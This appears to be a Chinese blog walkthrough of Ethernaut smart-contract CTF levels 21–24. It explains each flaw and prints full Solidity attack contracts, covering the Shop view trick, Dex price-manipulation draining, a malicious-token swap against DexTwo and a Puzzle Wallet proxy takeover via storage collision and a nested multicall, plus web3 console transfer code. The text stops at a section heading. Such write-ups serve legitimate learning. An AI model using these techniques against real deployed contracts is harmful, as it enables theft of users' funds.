21. Shop view 状态限制
Сan you get the item from the shop for less than the price asked?
Things that might help:
Shop expects to be used from a Buyer
Understanding restrictions of view functions
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.8 .0 ; interface IBuyer { function price ( ) external view returns (uint256); } contract Shop { uint256 public price = 100 ; bool public isSold; function buy ( ) public { IBuyer _buyer = IBuyer (msg.sender ); if (_buyer.price () >= price && !isSold) { isSold = true ; price = _buyer.price (); } } }
这道题和第11道题elevator的区别在于,这里的外部导入函数使用了view关键字使得我们不能通过修改函数自身状态变量来达成目的,相反虽然不能修改自身状态变量,但是可以通过观察目标合约的状态变化来触发不一致行为。
我们需要编写一个攻击合约,实现 price() 函数。在这个函数里,我们去查询 Shop 合约的 isSold 变量。
这道题的核心在于利用 Shop 合约在两次调用 price() 之间改变了自身的状态(isSold 变量)。
漏洞分析
两次调用:Shop.buy() 函数调用了两次 _buyer.price()
第一次:if (_buyer.price() >= price && !isSold) —— 用于检查条件。
第二次:price = _buyer.price(); —— 用于更新价格。
状态变化 :在两次调用之间,执行了 isSold = true;。
View 函数的限制与突破:
虽然你price() 函数是 view 类型,不能修改自己的状态变量来记录调用次数。
但是,view 函数可以读取 其他合约的状态。
我们可以读取 Shop 合约的 isSold 变量来判断这是第几次调用。
解决方案
我们需要编写一个攻击合约,实现 price() 函数:
当 Shop.isSold() 为 false 时(第一次调用),返回 100(满足 >= price)。
当 Shop.isSold() 为 true 时(第二次调用),返回 0(或者任何比 100 小的值)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity ^0.8 .0 ; interface IShop { function buy ( ) external; function isSold ( ) external view returns (bool); } contract ShopAttack { IShop public victim; constructor (address target ) { victim = IShop (target); } function attack ( ) public { victim.buy (); } function price ( ) public view returns (uint256){ if (!victim.isSold ()) { return 100 ; } else { return 0 ; } } }
最终截图
22. Dex ERC20 代币标准ERC20 是以太坊区块链上最著名、最通用的代币标准 。
简单来说,它是一套接口规范(Interface) 。任何智能合约,只要实现了这套规范里定义的函数和事件,就可以被称为“ERC20 代币”。
可以从以下几个维度来看:
1. 核心概念:同质化代币 (Fungible Token)
ERC20 定义的是同质化 代币。
意思 :你手里的一枚代币,和我手里的一枚代币,在价值和属性上是完全一样 的,没有任何区别。
类比 :就像现实生活中的百元大钞 。我的一张 100 元和你的一张 100 元是可以互换的,没人会在意具体是哪一张。
对比 :ERC721 (NFT) 是非同质化的,每一张都不一样(比如数字艺术品)。
2. 为什么要搞个标准?
在 ERC20 出现之前,每个人发币写的代码都不一样:
项目 A 的转账函数叫 sendCoin()
项目 B 的转账函数叫 transferToken()
项目 C 的转账函数叫 giveMoney()
这就导致钱包(如 MetaMask)和交易所(如 Binance) 非常痛苦。如果要支持这些币,它们必须为每一个币单独写代码来适配。
有了 ERC20 标准后,钱包和交易所只需要写一套代码 ,就能支持世界上成千上万种 ERC20 代币(USDT, UNI, SHIB 等)。只要你的合约符合标准,MetaMask 就能自动显示余额并进行转账。
3. ERC20 包含什么?(技术细节)
一个标准的 ERC20 合约必须包含以下 6 个核心函数和 2 个事件:
读数据(View Functions)
totalSupply() : 这个币总共有多少个?
balanceOf(address account) : 某个人(account)手里有多少个币?
allowance(address owner, address spender) : owner 授权给 spender 还能动用多少币?(配合 approve 使用)
写数据(State-Changing Functions)
transfer(address recipient, uint256 amount) : 直接转账 。我把币转给你。
approve(address spender, uint256 amount) : 授权 。我允许你(比如 Uniswap 合约)动用我多少币。
transferFrom(address sender, address recipient, uint256 amount) : 提款/代转 。通常由被授权的第三方调用,“我把 A 的币转给 B”(前提是 A 已经 approve 过了)。
事件(Events)
Transfer: 转账时触发。
Approval: 授权时触发。
4. 还有一个重要概念:Decimals(精度)
区块链不支持小数(浮点数)。所以 ERC20 代币通常使用18 位小数 (和以太坊 ETH 一样)。
如果你看到余额是 1000000000000000000,实际上它代表的是 1.0 个代币。
在写代码或做 CTF 题时,一定要注意单位换算。
The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.
Quick note
Normally, when you make a swap with an ERC20 token, you have to approve the contract to spend your tokens for you. To keep with the syntax of the game, we’ve just added the approve method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>) instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken contract otherwise.
Things that might help:
How is the price of the token calculated?
How does the swap method work?
How do you approve a transaction of an ERC20?
Theres more than one way to interact with a contract!
Remix might help
What does “At Address” do?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pragma solidity ^0.8 .0 ; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol" ;import "openzeppelin-contracts-08/token/ERC20/ERC20.sol" ;import "openzeppelin-contracts-08/access/Ownable.sol" ;contract Dex is Ownable { address public token1; address public token2; constructor ( ) {} function setTokens (address _token1, address _token2 ) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity (address token_address, uint256 amount ) public onlyOwner { IERC20 (token_address).transferFrom (msg.sender , address (this ), amount); } function swap (address from , address to, uint256 amount ) public { require ((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens" ); require (IERC20 (from ).balanceOf (msg.sender ) >= amount, "Not enough to swap" ); uint256 swapAmount = getSwapPrice (from , to, amount); IERC20 (from ).transferFrom (msg.sender , address (this ), amount); IERC20 (to).approve (address (this ), swapAmount); IERC20 (to).transferFrom (address (this ), msg.sender , swapAmount); } function getSwapPrice (address from , address to, uint256 amount ) public view returns (uint256) { return ((amount * IERC20 (to).balanceOf (address (this ))) / IERC20 (from ).balanceOf (address (this ))); } function approve (address spender, uint256 amount ) public { SwappableToken (token1).approve (msg.sender , spender, amount); SwappableToken (token2).approve (msg.sender , spender, amount); } function balanceOf (address token, address account ) public view returns (uint256) { return IERC20 (token).balanceOf (account); } } contract SwappableToken is ERC20 { address private _dex; constructor (address dexInstance, string memory name, string memory symbol, uint256 initialSupply ) ERC20 (name, symbol) { _mint (msg.sender , initialSupply); _dex = dexInstance; } function approve (address owner, address spender, uint256 amount ) public { require (owner != _dex, "InvalidApprover" ); super ._approve (owner, spender, amount); } }
这份代码包含两个合约:Dex(去中心化交易所)和 SwappableToken(一种定制的代币)。
这是一个简化版的 DeFi 模型,为了方便 CTF 挑战,它做了一些特殊的修改(比如特殊的 approve 逻辑)。
1. Dex 合约 (交易所主体)
这是核心合约,负责管理资金池和执行交易。
状态变量与初始化
1 2 3 4 5 6 7 8 9 10 11 contract Dex is Ownable { address public token1; address public token2; constructor ( ) {} function setTokens (address _token1, address _token2 ) public onlyOwner { token1 = _token1; token2 = _token2; }
作用 :定义了这个交易所支持哪两种代币互换(比如 Token A 和 Token B)。
添加流动性
1 2 3 4 function addLiquidity (address token_address, uint256 amount ) public onlyOwner { IERC20 (token_address).transferFrom (msg.sender , address (this ), amount); }
作用 :让合约拥有初始资金。transferFrom 把代币从管理员账户转到 Dex 合约账户。
核心交易逻辑 swap (重点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function swap (address from , address to, uint256 amount ) public { require ((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens" ); require (IERC20 (from ).balanceOf (msg.sender ) >= amount, "Not enough to swap" ); uint256 swapAmount = getSwapPrice (from , to, amount); IERC20 (from ).transferFrom (msg.sender , address (this ), amount); IERC20 (to).approve (address (this ), swapAmount); IERC20 (to).transferFrom (address (this ), msg.sender , swapAmount); }
流程 :用户支付 amount 数量的 from 代币,获得 swapAmount 数量的 to 代币。
价格计算 getSwapPrice (漏洞所在)
1 2 3 4 function getSwapPrice (address from , address to, uint256 amount ) public view returns (uint256) { return ((amount * IERC20 (to).balanceOf (address (this ))) / IERC20 (from ).balanceOf (address (this ))); }
公式 :换出数量 = 换入数量 * (池子里的目标代币余额 / 池子里的输入代币余额)
问题 :这是一个完全线性的公式,没有滑点保护。它意味着当前池子的余额比例直接决定了价格 。如果池子比例失衡(比如 100:1),价格就会极其便宜或昂贵。
辅助函数 approve
1 2 3 4 function approve (address spender, uint256 amount ) public { SwappableToken (token1).approve (msg.sender , spender, amount); SwappableToken (token2).approve (msg.sender , spender, amount); }
作用 :这是一个为了方便玩家设计的“快捷键”。
背景 :正常 ERC20 需要你在代币合约上调用 approve。这里你只需要调用 Dex.approve,它就会帮你去调用两个代币合约的特殊 approve 函数,帮你完成授权。
2. SwappableToken 合约 (代币)
这是一个标准的 ERC20 代币,但加了一个特殊的“后门”函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 contract SwappableToken is ERC20 { address private _dex; constructor (address dexInstance, string memory name, string memory symbol, uint256 initialSupply ) ERC20 (name, symbol) { _mint (msg.sender , initialSupply); _dex = dexInstance; } function approve (address owner, address spender, uint256 amount ) public { require (owner != _dex, "InvalidApprover" ); super ._approve (owner, spender, amount); } }
总结
Dex 是一个简单的交易所,允许 Token1 和 Token2 互换。
漏洞 在于 getSwapPrice 使用了简单的余额比例来定价。
攻击思路 是利用这个定价机制,通过反复的大额交易(Swap),剧烈改变池子里的余额比例,
攻击思路 真正的去中心化交易所(如 Uniswap)使用的是 **恒定乘积公式 (x×y=k)**。在恒定乘积公式下,你买得越多,单价就越贵(滑点),这会保护池子不被掏空。
而这个题目用的公式是 线性比例 。这意味着:
它假设当前池子里的比例就是绝对公允价格。
它没有滑点保护 。
最重要的是:价格完全依赖于当前的余额比例。
如果池子里有 100 个 TokenA 和 100 个 TokenB,价格是 1:1。 如果池子里有 100 个 TokenA 和 10 个 TokenB,价格就变成了 1:10!TokenB 变得极其昂贵,TokenA 变得极其廉价。
要利用这个价格公式,通过来回倒手 ,让池子的比例失衡,从而让我们的币越换越多。
初始状态:
Dex : 100 T1, 100 T2
你 : 10 T1, 10 T2
第一回合:用 T1 换 T2
你投入所有 10 个 T1。
汇率 : Dex 有 100 T1, 100 T2。比例 1:1。
计算 : 10×100 / 100=10。
结果 : 你获得 10 个 T2。
当前状态:
Dex: 110 T1, 90 T2
你: 0 T1, 20 T2
第二回合:用 T2 换 T1
你投入所有 20 个 T2。
汇率: Dex 有 90 T2, 110 T1。比例变成了 110/90≈1.22110/90≈1.22 。
计算 : 20×110 / 90=24.44 (Solidity 取整为 24)。
结果 : 你获得 24 个 T1。
当前状态:
Dex: 86 T1, 110 T2
你: 24 T1, 0 T2
分析 : 你看,你只是来回换了一次,总资产从 20 变成了 24。
用表格表示如下:
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 pragma solidity ^0.8 .0 ; interface IDex { function token1 ( ) external view returns (address); function token2 ( ) external view returns (address); function swap (address from , address to, uint256 amount ) external; function approve (address spender, uint256 amount ) external; function balanceOf (address token, address account ) external view returns (uint256); } interface IERC20 { function balanceOf (address account ) external view returns (uint256); function transfer (address to, uint256 amount ) external returns (bool); function transferFrom (address from , address to, uint256 amount ) external returns (bool); } contract DexAttack { IDex public dex; IERC20 public t1; IERC20 public t2; constructor (address _dex ) { dex = IDex (_dex); t1 = IERC20 (dex.token1 ()); t2 = IERC20 (dex.token2 ()); } function attack ( ) external { dex.approve (address (dex), type (uint256).max ); dex.swap (address (t1), address (t2), t1.balanceOf (address (this ))); dex.swap (address (t2), address (t1), t2.balanceOf (address (this ))); dex.swap (address (t1), address (t2), t1.balanceOf (address (this ))); dex.swap (address (t2), address (t1), t2.balanceOf (address (this ))); dex.swap (address (t1), address (t2), t1.balanceOf (address (this ))); dex.swap (address (t2), address (t1), 45 ); } }
完成部署后,由于我们是通过合约来操作代币的,所以需要先在控制台将代币转发给合约
请使用 web3 的方式来转账。直接复制下面的代码到控制台执行:
1. 准备数据
1 2 3 4 5 6 7 8 9 10 11 12 13 const attackAddress = "0x986Ce03dB7B9Dd64B40103BeEeE7F3E526e70D52" ;const t1 = await contract.token1 ();const t2 = await contract.token2 ();const transferData = web3.eth .abi .encodeFunctionCall ({ name : 'transfer' , type : 'function' , inputs : [{type : 'address' , name : 'to' }, {type : 'uint256' , name : 'amount' }] }, [attackAddress, 10 ]);
2. 转账 Token 1
1 2 3 4 5 await web3.eth .sendTransaction ({ from : player, to : t1, data : transferData });
3. 转账 Token 2
1 2 3 4 5 await web3.eth .sendTransaction ({ from : player, to : t2, data : transferData });
4. 检查余额(确保转账成功)
1 2 3 4 5 await contract.balanceOf (t1, attackAddress).then (b => b.toString ())await contract.balanceOf (t2, attackAddress).then (b => b.toString ())
此时转发代币成功,回到之前部署好的合约,点击attack进行测试,最终结果如下:
23. Dex Two mint 铸造假币交换
This level will ask you to break DexTwo, a subtly modified Dex contract from the previous level, in a different way.
You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.
You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.
Things that might help:
How has the swap method been modified?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 pragma solidity ^0.8 .0 ; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol" ;import "openzeppelin-contracts-08/token/ERC20/ERC20.sol" ;import "openzeppelin-contracts-08/access/Ownable.sol" ;contract DexTwo is Ownable { address public token1; address public token2; constructor ( ) {} function setTokens (address _token1, address _token2 ) public onlyOwner { token1 = _token1; token2 = _token2; } function add_liquidity (address token_address, uint256 amount ) public onlyOwner { IERC20 (token_address).transferFrom (msg.sender , address (this ), amount); } function swap (address from , address to, uint256 amount ) public { require (IERC20 (from ).balanceOf (msg.sender ) >= amount, "Not enough to swap" ); uint256 swapAmount = getSwapAmount (from , to, amount); IERC20 (from ).transferFrom (msg.sender , address (this ), amount); IERC20 (to).approve (address (this ), swapAmount); IERC20 (to).transferFrom (address (this ), msg.sender , swapAmount); } function getSwapAmount (address from , address to, uint256 amount ) public view returns (uint256) { return ((amount * IERC20 (to).balanceOf (address (this ))) / IERC20 (from ).balanceOf (address (this ))); } function approve (address spender, uint256 amount ) public { SwappableTokenTwo (token1).approve (msg.sender , spender, amount); SwappableTokenTwo (token2).approve (msg.sender , spender, amount); } function balanceOf (address token, address account ) public view returns (uint256) { return IERC20 (token).balanceOf (account); } } contract SwappableTokenTwo is ERC20 { address private _dex; constructor (address dexInstance, string memory name, string memory symbol, uint256 initialSupply ) ERC20 (name, symbol) { _mint (msg.sender , initialSupply); _dex = dexInstance; } function approve (address owner, address spender, uint256 amount ) public { require (owner != _dex, "InvalidApprover" ); super ._approve (owner, spender, amount); } }
启动实例,查看余额:
1 2 3 4 >>await contract.balanceOf(t1, contract.address).then(b => b.toString()) '100' >>await contract.balanceOf(t2, contract.address).then(b => b.toString()) '100'
这道题和上一道题不一样 ,虽然看起来很像。
关键区别
仔细对比 swap 函数:
Dex (上一题):
1 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
上一题强制要求你只能在 token1 和 token2 之间互换。
DexTwo (这一题):
1 2 // 这一行检查不见了! // require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
这一题没有检查 from 和 to 是否是合法的代币对。
漏洞分析
因为缺少了代币合法性检查,可以自己发行一种恶意代币(Malicious Token) ,然后用它去和 Dex 里的 token1 或 token2 进行交换。
由于价格计算公式依然是: 只要控制了 DexBalance(From)(即 Dex 持有的恶意代币数量),你就可以随意操纵汇率。
攻击策略 我们需要掏空 Dex 里的 100 个 T1 和 100 个 T2。
准备工作 :
部署一个攻击合约,该合约自己发行一种代币(MAL)。
给 Dex 转入 100 个 MAL。
此时 Dex 拥有:100 T1, 100 T2, 100 MAL。
掏空 Token 1 :
调用 swap(MAL, T1, 100)。
Dex 计算价格:100 (In)×100 (DexT1)100 (DexMAL)=100100 (In)×100 (DexMAL)100 (DexT1)=100。
你用 100 MAL 换走了 100 T1。
Dex 状态变更为 :0 T1, 100 T2, 200 MAL 。
掏空 Token 2 :
现在 Dex 有 200 MAL 和 100 T2。
你想换走 100 T2。
公式逆推:100 (Out)=In×100 (DexT2)200 (DexMAL)100 (Out)=In×200 (DexMAL)100 (DexT2)。
解得 In=200In=200。
调用 swap(MAL, T2, 200)。
你用 200 MAL 换走了 100 T2。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/ERC20.sol" ;interface IDexTwo { function token1 ( ) external view returns (address); function token2 ( ) external view returns (address); function swap (address from , address to, uint256 amount ) external; function balanceOf (address token, address account ) external view returns (uint256); } contract MaliciousToken is ERC20 { constructor ( ) ERC20 ("Malicious" , "MAL" ) { _mint (msg.sender , 10000 ); } } contract DexTwoAttack { IDexTwo public dex; MaliciousToken public myToken; constructor (address _dex ) { dex = IDexTwo (_dex); myToken = new MaliciousToken (); } function attack ( ) external { address t1 = dex.token1 (); address t2 = dex.token2 (); myToken.transfer (address (dex), 100 ); myToken.approve (address (dex), type (uint256).max ); dex.swap (address (myToken), t1, 100 ); dex.swap (address (myToken), t2, 200 ); } }
24. Puzzle Wallet Storage Collision(存储冲突) & Delegatecall 上下文漏洞
Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You’ll need to hijack this wallet to become the admin of the proxy.
Things that might help:
Understanding how delegatecall works and how msg.sender and msg.value behaves when performing one.
Knowing about proxy patterns and the way they handle storage variables.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 pragma solidity ^0.8 .0 ; import "../helpers/UpgradeableProxy-08.sol" ;contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor (address _admin, address _implementation, bytes memory _initData ) UpgradeableProxy (_implementation, _initData) { admin = _admin; } modifier onlyAdmin ( ) { require (msg.sender == admin, "Caller is not the admin" ); _; } function proposeNewAdmin (address _newAdmin ) external { pendingAdmin = _newAdmin; } function approveNewAdmin (address _expectedAdmin ) external onlyAdmin { require (pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin" ); admin = pendingAdmin; } function upgradeTo (address _newImplementation ) external onlyAdmin { _upgradeTo (_newImplementation); } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping (address => bool) public whitelisted; mapping (address => uint256) public balances; function init (uint256 _maxBalance ) public { require (maxBalance == 0 , "Already initialized" ); maxBalance = _maxBalance; owner = msg.sender ; } modifier onlyWhitelisted ( ) { require (whitelisted[msg.sender ], "Not whitelisted" ); _; } function setMaxBalance (uint256 _maxBalance ) external onlyWhitelisted { require (address (this ).balance == 0 , "Contract balance is not 0" ); maxBalance = _maxBalance; } function addToWhitelist (address addr ) external { require (msg.sender == owner, "Not the owner" ); whitelisted[addr] = true ; } function deposit ( ) external payable onlyWhitelisted { require (address (this ).balance <= maxBalance, "Max balance reached" ); balances[msg.sender ] += msg.value ; } function execute (address to, uint256 value, bytes calldata data ) external payable onlyWhitelisted { require (balances[msg.sender ] >= value, "Insufficient balance" ); balances[msg.sender ] -= value; (bool success,) = to.call {value : value}(data); require (success, "Execution failed" ); } function multicall (bytes[] calldata data ) external payable onlyWhitelisted { bool depositCalled = false ; for (uint256 i = 0 ; i < data.length ; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload (add (_data, 32 )) } if (selector == this .deposit .selector ) { require (!depositCalled, "Deposit can only be called once" ); depositCalled = true ; } (bool success,) = address (this ).delegatecall (data[i]); require (success, "Error while delegating call" ); } } }
这份代码包含两个合约:PuzzleProxy 和 PuzzleWallet。
1. PuzzleProxy 合约
这是一个可升级代理合约 。它的作用是作为用户交互的入口,存储关键数据,并把具体的业务逻辑转发给 PuzzleWallet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor (address _admin, address _implementation, bytes memory _initData ) UpgradeableProxy (_implementation, _initData) { admin = _admin; } modifier onlyAdmin ( ) { require (msg.sender == admin, "Caller is not the admin" ); _; } function proposeNewAdmin (address _newAdmin ) external { pendingAdmin = _newAdmin; } function approveNewAdmin (address _expectedAdmin ) external onlyAdmin { require (pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin" ); admin = pendingAdmin; } function upgradeTo (address _newImplementation ) external onlyAdmin { _upgradeTo (_newImplementation); } }
PuzzleProxy 核心逻辑总结:
它管理着 admin 权限。
它允许任何人提议新管理员 (proposeNewAdmin),但只有现任管理员能批准。
它继承了 UpgradeableProxy,虽然代码没显示,但父类里有一个 fallback 函数,负责把所有未匹配的函数调用(比如 deposit)转发给逻辑合约。
2. PuzzleWallet 合约
这是逻辑合约 ,包含了钱包的具体业务功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping (address => bool) public whitelisted; mapping (address => uint256) public balances; function init (uint256 _maxBalance ) public { require (maxBalance == 0 , "Already initialized" ); maxBalance = _maxBalance; owner = msg.sender ; } modifier onlyWhitelisted ( ) { require (whitelisted[msg.sender ], "Not whitelisted" ); _; } function setMaxBalance (uint256 _maxBalance ) external onlyWhitelisted { require (address (this ).balance == 0 , "Contract balance is not 0" ); maxBalance = _maxBalance; } function addToWhitelist (address addr ) external { require (msg.sender == owner, "Not the owner" ); whitelisted[addr] = true ; } function deposit ( ) external payable onlyWhitelisted { require (address (this ).balance <= maxBalance, "Max balance reached" ); balances[msg.sender ] += msg.value ; } function execute (address to, uint256 value, bytes calldata data ) external payable onlyWhitelisted { require (balances[msg.sender ] >= value, "Insufficient balance" ); balances[msg.sender ] -= value; (bool success,) = to.call {value : value}(data); require (success, "Execution failed" ); } function multicall (bytes[] calldata data ) external payable onlyWhitelisted { bool depositCalled = false ; for (uint256 i = 0 ; i < data.length ; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload (add (_data, 32 )) } if (selector == this .deposit .selector ) { require (!depositCalled, "Deposit can only be called once" ); depositCalled = true ; } (bool success,) = address (this ).delegatecall (data[i]); require (success, "Error while delegating call" ); } } }
PuzzleWallet 核心逻辑总结:
它是一个钱包,允许用户存钱 (deposit) 和取钱/执行操作 (execute)。
它有权限控制:只有 whitelisted 用户能操作,只有 owner 能加白名单。
它有一个特殊的 setMaxBalance 功能,要求余额为 0 才能调用。
它提供了一个高级功能 multicall,允许批量操作,并试图防止滥用 deposit。
3. 两个合约的关系
当用户与 PuzzleProxy 交互时:
如果调用的是 proposeNewAdmin 或 upgradeTo,直接在 PuzzleProxy 中执行。
如果调用的是 deposit 或 execute(Proxy 里没有的函数),Proxy 会通过 delegatecall 把请求转发给 PuzzleWallet 的代码执行。
关键点:PuzzleWallet 的代码运行时,读写的是 PuzzleProxy的存储空间(Storage)。
Wallet 读写 owner (Slot 0) -> 实际上读写的是 Proxy 的 pendingAdmin (Slot 0)。
Wallet 读写 maxBalance (Slot 1) -> 实际上读写的是 Proxy 的 admin (Slot 1)。
这道题(Puzzle Wallet)是一个非常经典的存储冲突(Storage Collision)和Delegatecall 漏洞 的组合拳。
核心漏洞分析
1. 存储冲突 (Storage Collision)
在 Solidity 中,代理合约(Proxy)和逻辑合约(Implementation)共享同一个存储空间(Storage)。如果它们的变量定义顺序不同,就会发生“张冠李戴”的情况。
对比一下两个合约的变量布局:
Slot
PuzzleProxy (代理)
PuzzleWallet (逻辑)
后果
Slot 0
pendingAdmin
owner
修改 pendingAdmin = 修改 owner
Slot 1
admin
maxBalance
修改 maxBalance = 修改 admin
目标 :我们要成为 admin(Slot 1)。
路径 :我们需要调用 PuzzleWallet 的 setMaxBalance 函数,写入 Slot 1。
阻碍 :setMaxBalance 要求 address(this).balance == 0(合约余额必须为 0)。
2. 权限绕过
要调用 setMaxBalance,你需要先被白名单(Whitelisted) 。 要被白名单,你需要是 owner。
利用 Slot 0 冲突 :PuzzleProxy 有一个函数 proposeNewAdmin(address _newAdmin),它会修改 pendingAdmin(Slot 0)。 由于 Slot 0 对应 PuzzleWallet 的 owner,只要我们调用 proposeNewAdmin(player),我们就变成了 owner!
3. 资金耗尽 (Drain)
现在我们是 Owner 且在白名单里了,但还需要把合约里的钱(Lunch Money)取光,才能满足 address(this).balance == 0。
攻击步骤
成为 Owner :调用 proposeNewAdmin(player)。这会把 Proxy 的 pendingAdmin 设为你,也就是把 Wallet 的 owner 设为你。
加入白名单 :调用 addToWhitelist(player)。
利用 Multicall 提权余额:
假设合约里有 0.001 ETH。
我们发起一个 multicall,包含两个操作:
deposit()
multicall([deposit()]) (嵌套调用)
我们发送 0.001 ETH。
第一次 deposit:记录余额 +0.001。
第二次 deposit(在嵌套的 multicall 里):再次记录余额 +0.001(使用的是同一笔 msg.value)。
结果:我们只发了 0.001 ETH,但账本上记了 0.002 ETH。
取款 :调用 execute 取走 0.002 ETH。这会把合约原本的 0.001 ETH 和我们存进去的 0.001 ETH 全部取走。合约余额归零。
成为 Admin :调用 setMaxBalance(uint256(player))。这会修改 Slot 1,也就是 Proxy 的 admin。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 pragma solidity ^0.8 .0 ; interface IPuzzle { function proposeNewAdmin (address _newAdmin ) external; function addToWhitelist (address addr ) external; function deposit ( ) external payable; function multicall (bytes[] calldata data ) external payable; function execute (address to, uint256 value, bytes calldata data ) external payable; function setMaxBalance (uint256 _maxBalance ) external; function admin ( ) external view returns (address); } contract PuzzleAttack { IPuzzle target; constructor (address _target ) { target = IPuzzle (_target); } function attack ( ) external payable { target.proposeNewAdmin (address (this )); target.addToWhitelist (address (this )); uint256 contractBalance = address (target).balance ; bytes[] memory depositData = new bytes[](1 ); depositData[0 ] = abi.encodeWithSelector (target.deposit .selector ); bytes[] memory data = new bytes[](2 ); data[0 ] = abi.encodeWithSelector (target.deposit .selector ); data[1 ] = abi.encodeWithSelector (target.multicall .selector , depositData); target.multicall {value : contractBalance}(data); target.execute (msg.sender , 2 * contractBalance, "" ); target.setMaxBalance (uint256 (uint160 (msg.sender ))); } receive () external payable {} }
下面对上述攻击合约中的代码进行解释
什么是 abi.encodeWithSelector?
在以太坊中,当你调用一个函数时,你需要把“我要调用哪个函数”和“参数是什么”打包成一串二进制数据发给合约。
target.deposit.selector : 这是函数的“身份证号”(前 4 个字节)。比如 deposit() 的身份证号可能是 0xd0e30db0。
abi.encodeWithSelector(…) : 这是一个打包工具。它把“身份证号”和“参数”拼在一起,变成一串 bytes(字节数组)。
比喻 : 你想寄信给合约。
selector 是收件人名字(“Deposit 部门”)。
abi.encode... 就是把信纸折好,塞进信封,写上收件人。
为什么要构造 bytes[] 数组?
因为目标函数 multicall 的定义是这样的:
1 function multicall(bytes[] calldata data) ...
它接收一个信封数组 。也就是说,你可以一次性给它发好几封信,它会一封封拆开执行。
代码逐行解析
第一步:准备内层信封 (depositData)
1 2 3 4 5 // 创建一个长度为 1 的数组,用来装内层的信封 bytes[] memory depositData = new bytes[](1); // 第一封信:内容是 "调用 deposit()" depositData[0] = abi.encodeWithSelector(target.deposit.selector);
第二步:准备外层信封 (data)
1 2 3 4 5 6 7 8 9 // 创建一个长度为 2 的数组,用来装外层的信封 bytes[] memory data = new bytes[](2); // 第一封信:内容是 "调用 deposit()" data[0] = abi.encodeWithSelector(target.deposit.selector); // 第二封信:内容是 "调用 multicall(depositData)" // 注意:这里把上面准备好的 depositData 作为参数传进去了! data[1] = abi.encodeWithSelector(target.multicall.selector, depositData);
含义:我们准备了一个更大的任务列表,里面有两个任务:
存钱。
执行“批量任务”(而这个批量任务的内容又是“存钱”)。
第三步:发送 (target.multicall)
1 target.multicall{value: contractBalance}(data);
含义 :我们把这个包含两封信的大信封发给合约,并附带了 contractBalance 这么多钱 。
为什么要这么绕?(嵌套调用的目的)
